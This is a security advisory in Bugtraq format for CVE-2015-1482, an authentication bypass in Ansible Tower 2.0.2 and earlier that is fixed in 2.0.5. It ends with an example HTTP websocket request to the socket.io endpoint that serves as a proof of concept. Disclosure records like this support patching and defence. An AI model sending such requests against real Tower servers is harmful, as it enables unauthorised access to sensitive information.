Ansible Tower Authentication Bypass Vulnerability

Bugtraq ID:	72020
Class:	Design Error
CVE:	CVE-2015-1482
Remote:	Yes
Local:	No
Published:	Jan 13 2015 12:00AM
Updated:	May 07 2015 05:23PM
Credit:	Manuel Hofer
Vulnerable:	Ansible Ansible Tower 2.0.2
Not Vulnerable:	Ansible Ansible Tower 2.0.5

Ansible Tower Authentication Bypass Vulnerability

Ansible Tower is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to sensitive information. This may aid in further attacks.

Ansible Tower 2.0.2 and prior versions are vulnerable.

Ansible Tower Authentication Bypass Vulnerability

Attackers can use standard, readily available tools to exploit this issue.

The following example request is available:

GET /socket.io/1/websocket/43167469538 HTTP/1.1
Host: tower:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://tower
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket